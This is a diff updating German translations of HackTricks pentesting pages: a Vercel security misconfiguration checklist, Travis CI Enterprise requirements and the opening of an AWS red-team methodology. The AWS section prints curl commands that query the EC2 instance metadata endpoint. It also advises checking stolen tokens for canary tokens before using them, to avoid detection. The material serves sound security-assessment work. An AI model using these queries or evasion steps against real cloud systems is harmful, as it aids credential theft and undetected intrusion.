../../banners/hacktricks-training.md}} @@ -63,7 +63,7 @@ Beachten Sie, dass beim Verschlüsseln einer Datei 2 Umgebungsvariablen im Repos ## TravisCI Enterprise -Travis CI Enterprise ist eine **On-Premise-Version von Travis CI**, die Sie **in Ihrer Infrastruktur** bereitstellen können. Denken Sie an die 'Server'-Version von Travis CI. Die Verwendung von Travis CI ermöglicht es Ihnen, ein benutzerfreundliches Continuous Integration/Continuous Deployment (CI/CD)-System in einer Umgebung zu aktivieren, die Sie nach Ihren Wünschen konfigurieren und sichern können. +Travis CI Enterprise ist eine **On-Prem-Version von Travis CI**, die Sie **in Ihrer Infrastruktur** bereitstellen können. Denken Sie an die 'Server'-Version von Travis CI. Die Verwendung von Travis CI ermöglicht es Ihnen, ein benutzerfreundliches Continuous Integration/Continuous Deployment (CI/CD)-System in einer Umgebung zu aktivieren, die Sie nach Ihren Wünschen konfigurieren und sichern können. **Travis CI Enterprise besteht aus zwei Hauptteilen:** @@ -73,7 +73,7 @@ Travis CI Enterprise ist eine **On-Premise-Version von Travis CI**, die Sie **in **TCI Core-Dienste erfordern Folgendes:** 1. Eine **PostgreSQL11** (oder später) Datenbank. -2. Eine Infrastruktur zum Bereitstellen eines Kubernetes-Clusters; es kann in einem Server-Cluster oder auf einer einzelnen Maschine bereitgestellt werden, wenn erforderlich. +2. Eine Infrastruktur zur Bereitstellung eines Kubernetes-Clusters; sie kann in einem Server-Cluster oder auf einer einzelnen Maschine bereitgestellt werden, wenn erforderlich. 3. Abhängig von Ihrer Konfiguration möchten Sie möglicherweise einige der Komponenten selbst bereitstellen und konfigurieren, z. B. RabbitMQ - siehe die [Einrichtung von Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) für weitere Details. **TCI Worker erfordert Folgendes:** diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 9d37abd28..3d4891a7d 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -4,43 +4,43 @@ ## Grundinformationen -In Vercel ist ein **Team** die komplette **Umgebung**, die einem Kunden gehört, und ein **Projekt** ist eine **Anwendung**. +In Vercel ist ein **Team** die vollständige **Umgebung**, die einem Kunden gehört, und ein **Projekt** ist eine **Anwendung**. -Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutzer mit **Viewer-Rollenberechtigung** oder mindestens **Projekt-Viewer-Berechtigung über die Projekte** fragen, um zu überprüfen (falls Sie nur die Projekte und nicht die Teamkonfiguration überprüfen müssen). +Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutzer mit **Viewer-Rollenberechtigung** oder mindestens **Projekt-Viewer-Berechtigung über die Projekte** fragen, um diese zu überprüfen (falls Sie nur die Projekte und nicht die Teamkonfiguration überprüfen müssen). ## Projekteinstellungen ### Allgemein -**Zweck:** Verwalten grundlegender Projekteinstellungen wie Projektname, Framework und Build-Konfigurationen. +**Zweck:** Verwalten Sie grundlegende Projekteinstellungen wie Projektname, Framework und Build-Konfigurationen. #### Sicherheitskonfigurationen: - **Übertragung** -- **Fehlkonfiguration:** Erlaubt die Übertragung des Projekts zu einem anderen Team +- **Fehlkonfiguration:** Ermöglicht die Übertragung des Projekts zu einem anderen Team - **Risiko:** Ein Angreifer könnte das Projekt stehlen - **Projekt löschen** -- **Fehlkonfiguration:** Erlaubt das Löschen des Projekts +- **Fehlkonfiguration:** Ermöglicht das Löschen des Projekts - **Risiko:** Löschen des Projekts --- ### Domains -**Zweck:** Verwalten von benutzerdefinierten Domains, DNS-Einstellungen und SSL-Konfigurationen. +**Zweck:** Verwalten Sie benutzerdefinierte Domains, DNS-Einstellungen und SSL-Konfigurationen. #### Sicherheitskonfigurationen: - **DNS-Konfigurationsfehler** -- **Fehlkonfiguration:** Falsche DNS-Einträge (A, CNAME), die auf bösartige Server zeigen. -- **Risiko:** Domain-Hijacking, Datenverkehrsüberwachung und Phishing-Angriffe. +- **Fehlkonfiguration:** Falsche DNS-Einträge (A, CNAME), die auf bösartige Server verweisen. +- **Risiko:** Domain-Hijacking, Verkehrsabfang und Phishing-Angriffe. - **SSL/TLS-Zertifikatsverwaltung** - **Fehlkonfiguration:** Verwendung schwacher oder abgelaufener SSL/TLS-Zertifikate. - **Risiko:** Anfällig für Man-in-the-Middle (MITM)-Angriffe, die die Datenintegrität und Vertraulichkeit gefährden. - **DNSSEC-Implementierung** - **Fehlkonfiguration:** DNSSEC nicht aktiviert oder falsche DNSSEC-Einstellungen. - **Risiko:** Erhöhte Anfälligkeit für DNS-Spoofing und Cache-Poisoning-Angriffe. -- **Umgebung pro Domain** +- **Umgebung pro Domain verwenden** - **Fehlkonfiguration:** Ändern der in der Produktion verwendeten Umgebung durch die Domain. - **Risiko:** Potenzielle Geheimnisse oder Funktionen offenlegen, die in der Produktion nicht verfügbar sein sollten. @@ -48,7 +48,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze ### Umgebungen -**Zweck:** Definieren verschiedener Umgebungen (Entwicklung, Vorschau, Produktion) mit spezifischen Einstellungen und Variablen. +**Zweck:** Definieren Sie verschiedene Umgebungen (Entwicklung, Vorschau, Produktion) mit spezifischen Einstellungen und Variablen. #### Sicherheitskonfigurationen: @@ -63,25 +63,25 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze ### Umgebungsvariablen -**Zweck:** Verwalten von umgebungsspezifischen Variablen und Geheimnissen, die von der Anwendung verwendet werden. +**Zweck:** Verwalten Sie umgebungsspezifische Variablen und Geheimnisse, die von der Anwendung verwendet werden. #### Sicherheitskonfigurationen: -- **Offenlegung sensibler Variablen** +- **Sensible Variablen offenlegen** - **Fehlkonfiguration:** Präfixierung sensibler Variablen mit `NEXT_PUBLIC_`, wodurch sie auf der Client-Seite zugänglich werden. -- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten an die Öffentlichkeit, was zu Datenverletzungen führt. +- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten für die Öffentlichkeit, was zu Datenverletzungen führt. - **Sensible deaktiviert** - **Fehlkonfiguration:** Wenn deaktiviert (Standard) ist es möglich, die Werte der generierten Geheimnisse zu lesen. - **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen. - **Geteilte Umgebungsvariablen** -- **Fehlkonfiguration:** Dies sind Umgebungsvariablen, die auf Teamebene festgelegt sind und auch sensible Informationen enthalten könnten. +- **Fehlkonfiguration:** Dies sind Umgebungsvariablen, die auf Teamebene festgelegt sind und ebenfalls sensible Informationen enthalten könnten. - **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen. --- ### Git -**Zweck:** Konfigurieren von Git-Repository-Integrationen, Branch-Schutzmaßnahmen und Bereitstellungsauslösern. +**Zweck:** Konfigurieren Sie Git-Repository-Integrationen, Branch-Schutz und Bereitstellungsauslöser. #### Sicherheitskonfigurationen: @@ -93,7 +93,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze ### Integrationen -**Zweck:** Verbinden von Drittanbieterdiensten und -tools zur Verbesserung der Projektfunktionen. +**Zweck:** Verbinden Sie Drittanbieterdienste und -tools, um die Projektfunktionen zu verbessern. #### Sicherheitskonfigurationen: @@ -111,7 +111,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze ### Bereitstellungsschutz -**Zweck:** Sichern von Bereitstellungen durch verschiedene Schutzmechanismen, die steuern, wer auf Ihre Umgebungen zugreifen und bereitstellen kann. +**Zweck:** Sichern Sie Bereitstellungen durch verschiedene Schutzmechanismen und steuern Sie, wer auf Ihre Umgebungen zugreifen und bereitstellen kann. #### Sicherheitskonfigurationen: @@ -127,24 +127,24 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze **Teilen von Links** -- **Fehlkonfiguration:** Unüberlegtes Teilen von Links oder Versäumnis, veraltete Links zu widerrufen. +- **Fehlkonfiguration:** Teilen von Links ohne Einschränkungen oder Versäumnis, veraltete Links zu widerrufen. - **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, Umgehung von Authentifizierung und IP-Beschränkungen. -**OPTIONS Allowlist** +**OPTIONS-Whitelist** -- **Fehlkonfiguration:** Zu breite Pfade oder sensible Endpunkte auf die Allowlist setzen. +- **Fehlkonfiguration:** Zu breite Pfade oder sensible Endpunkte auf die Whitelist setzen. - **Risiko:** Angreifer können ungeschützte Pfade ausnutzen, um unbefugte Aktionen durchzuführen oder Sicherheitsprüfungen zu umgehen. **Passwortschutz** -- **Fehlkonfiguration:** Verwendung schwacher Passwörter oder unsicheres Teilen. +- **Fehlkonfiguration:** Verwendung schwacher Passwörter oder unsichere Weitergabe. - **Risiko:** Unbefugter Zugriff auf Bereitstellungen, wenn Passwörter erraten oder geleakt werden. - **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat. **Ausnahmen beim Bereitstellungsschutz** - **Fehlkonfiguration:** Unabsichtliches Hinzufügen von Produktions- oder sensiblen Domains zur Ausnahmeliste. -- **Risiko:** Offenlegung kritischer Bereitstellungen an die Öffentlichkeit, was zu Datenlecks oder unbefugtem Zugriff führt. +- **Risiko:** Offenlegung kritischer Bereitstellungen für die Öffentlichkeit, was zu Datenlecks oder unbefugtem Zugriff führt. - **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat. **Vertrauenswürdige IPs** @@ -157,7 +157,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze ### Funktionen -**Zweck:** Konfigurieren von serverlosen Funktionen, einschließlich Laufzeiteinstellungen, Speicherzuweisung und Sicherheitsrichtlinien. +**Zweck:** Konfigurieren Sie serverlose Funktionen, einschließlich Laufzeiteinstellungen, Speicherzuweisung und Sicherheitsrichtlinien. #### Sicherheitskonfigurationen: @@ -167,35 +167,35 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze ### Daten-Cache -**Zweck:** Verwalten von Caching-Strategien und -Einstellungen zur Optimierung der Leistung und Kontrolle der Datenspeicherung. +**Zweck:** Verwalten Sie Caching-Strategien und -Einstellungen, um die Leistung zu optimieren und die Datenspeicherung zu steuern. #### Sicherheitskonfigurationen: - **Cache leeren** -- **Fehlkonfiguration:** Es erlaubt, den gesamten Cache zu löschen. +- **Fehlkonfiguration:** Es ermöglicht das Löschen des gesamten Caches. - **Risiko:** Unbefugte Benutzer löschen den Cache, was zu einem potenziellen DoS führen kann. --- ### Cron-Jobs -**Zweck:** Planen automatisierter Aufgaben und Skripte, die in festgelegten Intervallen ausgeführt werden. +**Zweck:** Planen Sie automatisierte Aufgaben und Skripte, die in festgelegten Intervallen ausgeführt werden. #### Sicherheitskonfigurationen: - **Cron-Job deaktivieren** -- **Fehlkonfiguration:** Es erlaubt, Cron-Jobs, die im Code deklariert sind, zu deaktivieren. +- **Fehlkonfiguration:** Es ermöglicht das Deaktivieren von Cron-Jobs, die im Code deklariert sind. - **Risiko:** Potenzielle Unterbrechung des Dienstes (je nachdem, wofür die Cron-Jobs gedacht waren). --- ### Log Drains -**Zweck:** Konfigurieren externer Protokollierungsdienste, um Anwendungsprotokolle zur Überwachung und Prüfung zu erfassen und zu speichern. +**Zweck:** Konfigurieren Sie externe Protokollierungsdienste, um Anwendungsprotokolle zur Überwachung und Prüfung zu erfassen und zu speichern. #### Sicherheitskonfigurationen: -- Nichts (wird von den Teameinstellungen verwaltet) +- Nichts (wird aus den Teameinstellungen verwaltet) --- @@ -212,17 +212,17 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze **Git-Fork-Schutz** -- **Fehlkonfiguration:** Erlauben unbefugter Pull-Requests ohne ordnungsgemäße Überprüfungen. +- **Fehlkonfiguration:** Zulassung unbefugter Pull-Requests ohne ordnungsgemäße Überprüfungen. - **Risiko:** Bösartiger Code kann in den Code integriert werden, was Schwachstellen oder Hintertüren einführt. -**Sicherer Backend-Zugriff mit OIDC-Föderation** +**Sichere Backend-Zugriffe mit OIDC-Föderation** - **Fehlkonfiguration:** Falsche Einrichtung von OIDC-Parametern oder Verwendung unsicherer Aussteller-URLs. - **Risiko:** Unbefugter Zugriff auf Backend-Dienste durch fehlerhafte Authentifizierungsflüsse. **Bereitstellungsaufbewahrungsrichtlinie** -- **Fehlkonfiguration:** Festlegen von Aufbewahrungsfristen, die zu kurz sind (Verlust der Bereitstellungshistorie) oder zu lang (unnötige Datenaufbewahrung). +- **Fehlkonfiguration:** Festlegung von Aufbewahrungsfristen, die zu kurz sind (Verlust der Bereitstellungshistorie) oder zu lang (unnötige Datenaufbewahrung). - **Risiko:** Unfähigkeit, bei Bedarf Rollbacks durchzuführen, oder erhöhtes Risiko der Datenexposition durch alte Bereitstellungen. **Kürzlich gelöschte Bereitstellungen** @@ -258,8 +258,8 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze ### Benutzerdefinierte Regeln & IP-Blockierung -- **Fehlkonfiguration:** Erlaubt das Entsperren/Blockieren von Datenverkehr. -- **Risiko:** Potenzieller DoS, der bösartigen Datenverkehr zulässt oder legitimen Datenverkehr blockiert. +- **Fehlkonfiguration:** Ermöglicht das Entsperren/Blockieren von Verkehr. +- **Risiko:** Potenzieller DoS, der bösartigen Verkehr zulässt oder legitimen Verkehr blockiert. --- @@ -267,12 +267,12 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze ### Quelle -- **Fehlkonfiguration:** Erlaubt den Zugriff auf den vollständigen Quellcode der Anwendung. +- **Fehlkonfiguration:** Ermöglicht den Zugriff auf den vollständigen Quellcode der Anwendung. - **Risiko:** Potenzielle Offenlegung sensibler Informationen. ### Skew-Schutz -- **Fehlkonfiguration:** Dieser Schutz stellt sicher, dass die Client- und Serveranwendung immer dieselbe Version verwenden, sodass es keine Desynchronisationen gibt, bei denen der Client eine andere Version als der Server verwendet und sie sich daher nicht verstehen. +- **Fehlkonfiguration:** Dieser Schutz stellt sicher, dass die Client- und Serveranwendung immer dieselbe Version verwenden, sodass es keine Desynchronisation gibt, bei der der Client eine andere Version als der Server verwendet und sie sich daher nicht verstehen. - **Risiko:** Deaktivierung dieses (wenn aktiviert) könnte in zukünftigen Bereitstellungen DoS-Probleme verursachen. --- @@ -284,10 +284,10 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze #### Sicherheitskonfigurationen: - **Übertragung** -- **Fehlkonfiguration:** Erlaubt die Übertragung aller Projekte zu einem anderen Team. +- **Fehlkonfiguration:** Ermöglicht die Übertragung aller Projekte zu einem anderen Team. - **Risiko:** Ein Angreifer könnte die Projekte stehlen. - **Projekt löschen** -- **Fehlkonfiguration:** Erlaubt das Löschen des Teams mit allen Projekten. +- **Fehlkonfiguration:** Ermöglicht das Löschen des Teams mit allen Projekten. - **Risiko:** Löschen der Projekte. --- @@ -296,7 +296,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze #### Sicherheitskonfigurationen: -- **Kostenlimit für Speed Insights** +- **Speed Insights Kostenlimit** - **Fehlkonfiguration:** Ein Angreifer könnte diese Zahl erhöhen. - **Risiko:** Erhöhte Kosten. @@ -310,7 +310,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze - **Fehlkonfiguration:** Ein Angreifer könnte Persistenz aufrechterhalten, indem er ein Konto einlädt, das er kontrolliert. - **Risiko:** Persistenz des Angreifers. - **Rollen** -- **Fehlkonfiguration:** Gewährung zu vieler Berechtigungen an Personen, die sie nicht benötigen, erhöht das Risiko der Vercel-Konfiguration. Überprüfen Sie alle möglichen Rollen unter [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles). +- **Fehlkonfiguration:** Gewährung zu vieler Berechtigungen an Personen, die sie nicht benötigen, erhöht das Risiko der Vercel-Konfiguration. Überprüfen Sie alle möglichen Rollen in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles). - **Risiko:** Erhöhte Exposition des Vercel-Teams. --- @@ -322,7 +322,7 @@ Eine **Zugriffsgruppe** in Vercel ist eine Sammlung von Projekten und Teammitgli **Potenzielle Fehlkonfigurationen:** - **Überberechtigung von Mitgliedern:** Zuweisung von Rollen mit mehr Berechtigungen als notwendig, was zu unbefugtem Zugriff oder Aktionen führt. -- **Falsche Rollenzuweisungen:** Falsche Zuweisung von Rollen, die nicht mit den Verantwortlichkeiten der Teammitglieder übereinstimmen, was zu einer Privilegieneskalation führt. +- **Unangemessene Rollenzuweisungen:** Falsche Zuweisung von Rollen, die nicht mit den Verantwortlichkeiten der Teammitglieder übereinstimmen, was zu einer Privilegieneskalation führt. - **Mangelnde Projekttrennung:** Versäumnis, sensible Projekte zu trennen, was einen breiteren Zugriff als beabsichtigt ermöglicht. - **Unzureichendes Gruppenmanagement:** Nicht regelmäßiges Überprüfen oder Aktualisieren von Zugriffgruppen, was zu veralteten oder unangemessenen Zugriffsberechtigungen führt. - **Inkonsistente Rollendefinitionen:** Verwendung inkonsistenter oder unklarer Rollendefinitionen in verschiedenen Zugriffgruppen, was zu Verwirrung und Sicherheitslücken führt. @@ -343,14 +343,14 @@ Eine **Zugriffsgruppe** in Vercel ist eine Sammlung von Projekten und Teammitgli #### Sicherheitskonfigurationen: -- **Team-E-Mail-Domain:** Wenn konfiguriert, lädt diese Einstellung automatisch Vercel-Persönliche Konten mit E-Mail-Adressen, die auf die angegebene Domain enden (z. B. `mydomain.com`), ein, Ihrem Team bei der Anmeldung und im Dashboard beizutreten. +- **Team-E-Mail-Domain:** Bei der Konfiguration lädt diese Einstellung automatisch Vercel-Persönliche Konten mit E-Mail-Adressen, die auf die angegebene Domain enden (z. B. `mydomain.com`), ein, Ihrem Team bei der Anmeldung und im Dashboard beizutreten. - **Fehlkonfiguration:** -- Falsche Angabe der E-Mail-Domain oder einer falsch geschriebenen Domain in der Team-E-Mail-Domain-Einstellung. +- Falsche E-Mail-Domain oder falsch geschriebene Domain in der Team-E-Mail-Domain-Einstellung angeben. - Verwendung einer gängigen E-Mail-Domain (z. B. `gmail.com`, `hotmail.com`) anstelle einer unternehmensspezifischen Domain. - **Risiken:** - **Unbefugter Zugriff:** Benutzer mit E-Mail-Adressen von unbeabsichtigten Domains könnten Einladungen erhalten, Ihrem Team beizutreten. - **Datenexposition:** Potenzielle Offenlegung sensibler Projektinformationen an unbefugte Personen. -- **Geschützte Git-Scopes:** Ermöglicht das Hinzufügen von bis zu 5 Git-Scopes zu Ihrem Team, um zu verhindern, dass andere Vercel-Teams Repositories aus dem geschützten Scope bereitstellen. Mehrere Teams können denselben Scope angeben, was beiden Teams Zugriff gewährt. +- **Geschützte Git-Scopes:** Ermöglicht Ihnen, bis zu 5 Git-Scopes zu Ihrem Team hinzuzufügen, um zu verhindern, dass andere Vercel-Teams Repositories aus dem geschützten Scope bereitstellen. Mehrere Teams können denselben Scope angeben, was beiden Teams den Zugriff ermöglicht. - **Fehlkonfiguration:** Kritische Git-Scopes nicht zur geschützten Liste hinzufügen. - **Risiken:** - **Unbefugte Bereitstellungen:** Andere Teams könnten Repositories aus den Git-Scopes Ihrer Organisation ohne Genehmigung bereitstellen. @@ -366,16 +366,16 @@ Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder. - **Risiken:** - **Datenschutzverletzungen:** Offenlegung sensibler Benutzeraktivitäten und -daten. - **Manipulation von Protokollen:** Böswillige Akteure könnten Protokolle ändern oder löschen, um ihre Spuren zu verwischen. -- **SAML Single Sign-On:** Ermöglicht die Anpassung der SAML-Authentifizierung und der Verzeichnis-Synchronisierung für Ihr Team, wodurch die Integration mit einem Identitätsanbieter (IdP) für zentrale Authentifizierung und Benutzerverwaltung ermöglicht wird. -- **Fehlkonfiguration:** Ein Angreifer könnte die Teamkonfiguration durch das Einrichten von SAML-Parametern wie Entity ID, SSO-URL oder Zertifikat-Fingerabdrücken kompromittieren. +- **SAML Single Sign-On:** Ermöglicht die Anpassung der SAML-Authentifizierung und der Verzeichnis-Synchronisierung für Ihr Team, wodurch die Integration mit einem Identitätsanbieter (IdP) für zentralisierte Authentifizierung und Benutzerverwaltung ermöglicht wird. +- **Fehlkonfiguration:** Ein Angreifer könnte die Teamkonfiguration durch das Einrichten von SAML-Parametern wie Entity ID, SSO-URL oder Zertifikat-Fingerabdrücken zurückdooren. - **Risiko:** Persistenz aufrechterhalten. -- **Sichtbarkeit der IP-Adressen:** Steuert, ob IP-Adressen, die unter bestimmten Datenschutzgesetzen als persönliche Informationen gelten könnten, in Überwachungsabfragen und Log Drains angezeigt werden. -- **Fehlkonfiguration:** Sichtbarkeit der IP-Adressen ohne Notwendigkeit aktiviert lassen. +- **Sichtbarkeit der IP-Adresse:** Steuert, ob IP-Adressen, die unter bestimmten Datenschutzgesetzen als persönliche Informationen gelten könnten, in Überwachungsabfragen und Log Drains angezeigt werden. +- **Fehlkonfiguration:** Sichtbarkeit der IP-Adresse ohne Notwendigkeit aktiviert lassen. - **Risiken:** -- **Datenschutzverletzungen:** Nichteinhaltung von Datenschutzvorschriften wie der DSGVO. +- **Datenschutzverletzungen:** Nichteinhaltung von Datenschutzvorschriften wie GDPR. - **Rechtliche Konsequenzen:** Potenzielle Geldstrafen und Strafen für den unsachgemäßen Umgang mit persönlichen Daten. - **IP-Blockierung:** Ermöglicht die Konfiguration von IP-Adressen und CIDR-Bereichen, von denen Vercel Anfragen blockieren sollte. Blockierte Anfragen tragen nicht zu Ihrer Abrechnung bei. -- **Fehlkonfiguration:** Könnte von einem Angreifer missbraucht werden, um bösartigen Datenverkehr zuzulassen oder legitimen Datenverkehr zu blockieren. +- **Fehlkonfiguration:** Könnte von einem Angreifer missbraucht werden, um bösartigen Verkehr zuzulassen oder legitimen Verkehr zu blockieren. - **Risiken:** - **Dienstverweigerung für legitime Benutzer:** Blockierung des Zugriffs für gültige Benutzer oder Partner. - **Betriebliche Störungen:** Verlust der Dienstverfügbarkeit für bestimmte Regionen oder Kunden. @@ -384,7 +384,7 @@ Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder. ### Sicheres Rechnen -**Vercel Secure Compute** ermöglicht sichere, private Verbindungen zwischen Vercel-Funktionen und Backend-Umgebungen (z. B. Datenbanken), indem isolierte Netzwerke mit dedizierten IP-Adressen eingerichtet werden. Dies eliminiert die Notwendigkeit, Backend-Dienste öffentlich zugänglich zu machen, und verbessert die Sicherheit, Compliance und den Datenschutz. +**Vercel Secure Compute** ermöglicht sichere, private Verbindungen zwischen Vercel-Funktionen und Backend-Umgebungen (z. B. Datenbanken), indem isolierte Netzwerke mit dedizierten IP-Adressen eingerichtet werden. Dies beseitigt die Notwendigkeit, Backend-Dienste öffentlich zugänglich zu machen, und verbessert die Sicherheit, Compliance und den Datenschutz. #### **Potenzielle Fehlkonfigurationen und Risiken** @@ -408,7 +408,30 @@ Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder. - **Risiko:** Erweiterte Angriffsfläche, erhöhte Bereitstellungsverzögerungen und unnötiger Verbrauch von Netzwerkressourcen. 7. **Versäumnis, Umgehungsgeheimnisse sicher zu behandeln** - **Fehlkonfiguration:** Offenlegung oder unsachgemäße Handhabung von Geheimnissen, die zur Umgehung von Bereitstellungsschutzmaßnahmen verwendet werden. -- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, was Angreifern ermöglicht, bösartigen Code zu manipulieren oder bereitzustellen. +- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, der es Angreifern ermöglicht, bösartigen Code zu manipulieren oder bereitzustellen. 8. **Ignorieren von Failover-Konfigurationen für Regionen** -- **Fehlkonfiguration:** Keine Einrichtung passiver Failover-Regionen oder falsche Konfiguration der Failover-Einstellungen. -- **Risiko:** Dienstunterbre +- **Fehlkonfiguration:** Keine Einrichtung passiver Failover-Regionen oder fehlerhafte Failover-Einstellungen. +- **Risiko:** Dienstunterbrechungen während Ausfällen der primären Region, was zu reduzierter Verfügbarkeit und potenzieller Dateninkonsistenz führt. +9. **Überschreiten der VPC-Peering-Verbindungsgrenzen** +- **Fehlkonfiguration:** Versuch, mehr VPC-Peering-Verbindungen herzustellen als die zulässige Grenze (z. B. mehr als 50 Verbindungen). +- **Risiko:** Unfähigkeit, notwendige Backend-Dienste sicher zu verbinden, was zu Bereitstellungsfehlern und betrieblichen Störungen führt. +10. **Unsichere Netzwerkeinstellungen** +- **Fehlkonfiguration:** Schwache Firewall-Regeln, fehlende Verschlüsselung oder unsachgemäße Netzwerksegmentierung innerhalb des Secure Compute-Netzwerks. +- **Risiko:** Datenabfang, unbefugter Zugriff auf Backend-Dienste und erhöhte Anfälligkeit für Angriffe. + +--- + +### Umgebungsvariablen + +**Zweck:** Verwalten Sie umgebungsspezifische Variablen und Geheimnisse, die von allen Projekten verwendet werden. + +#### Sicherheitskonfigurationen: + +- **Sensible Variablen offenlegen** +- **Fehlkonfiguration:** Präfixierung sensibler Variablen mit `NEXT_PUBLIC_`, wodurch sie auf der Client-Seite zugänglich werden. +- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten für die Öffentlichkeit, was zu Datenverletzungen führt. +- **Sensible deaktiviert** +- **Fehlkonfiguration:** Wenn deaktiviert (Standard) ist es möglich, die Werte der generierten Geheimnisse zu lesen. +- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen. + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index 6bd4ce934..1ce50ab6d 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Grundlegende Informationen +## Grundinformationen **Bevor Sie mit dem Pentesting** einer **AWS**-Umgebung beginnen, gibt es einige **grundlegende Dinge, die Sie wissen müssen**, wie AWS funktioniert, um zu verstehen, was Sie tun müssen, wie Sie Fehlkonfigurationen finden und wie Sie diese ausnutzen können. @@ -27,9 +27,9 @@ Tools zur Simulation von Angriffen: - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) -## AWS Pentester/Red Team Methodik +## AWS Pentester/Red Team Methodologie -Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert** ist, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind. +Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert wird**, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind. Aus der Sicht eines Red Teams ist der **erste Schritt, um eine AWS-Umgebung zu kompromittieren**, die **Erlangung von Anmeldeinformationen**. Hier sind einige Ideen, wie Sie das tun können: @@ -51,20 +51,20 @@ Oder durch **Kompromittierung eines nicht authentifizierten Dienstes**, der expo aws-unauthenticated-enum-access/ {{#endref}} -Oder wenn Sie eine **Überprüfung** durchführen, könnten Sie einfach **nach Anmeldeinformationen fragen** mit diesen Rollen: +Oder wenn Sie eine **Überprüfung** durchführen, könnten Sie einfach **nach Anmeldeinformationen** mit diesen Rollen fragen: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> Nachdem Sie es geschafft haben, Anmeldeinformationen zu erhalten, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen: +> Nachdem Sie Anmeldeinformationen erhalten haben, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen: ## Grundlegende Aufzählung ### SSRF -Wenn Sie ein SSRF auf einer Maschine innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks: +Wenn Sie ein SSRF auf einem Rechner innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -89,8 +89,8 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` > [!CAUTION] -> Beachten Sie, dass Unternehmen **Canary-Tokens** verwenden könnten, um zu identifizieren, wann **Tokens gestohlen und verwendet werden**. Es wird empfohlen, zu überprüfen, ob ein Token ein Canary-Token ist oder nicht, bevor Sie es verwenden.\ -> Für weitere Informationen [**diese Seite überprüfen**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). +> Beachten Sie, dass Unternehmen **Canary-Tokens** verwenden könnten, um zu identifizieren, wann **Tokens gestohlen und verwendet werden**. Es wird empfohlen, zu überprüfen, ob ein Token ein Canary-Token ist, bevor Sie es verwenden.\ +> Für weitere Informationen [**sehen Sie sich diese Seite 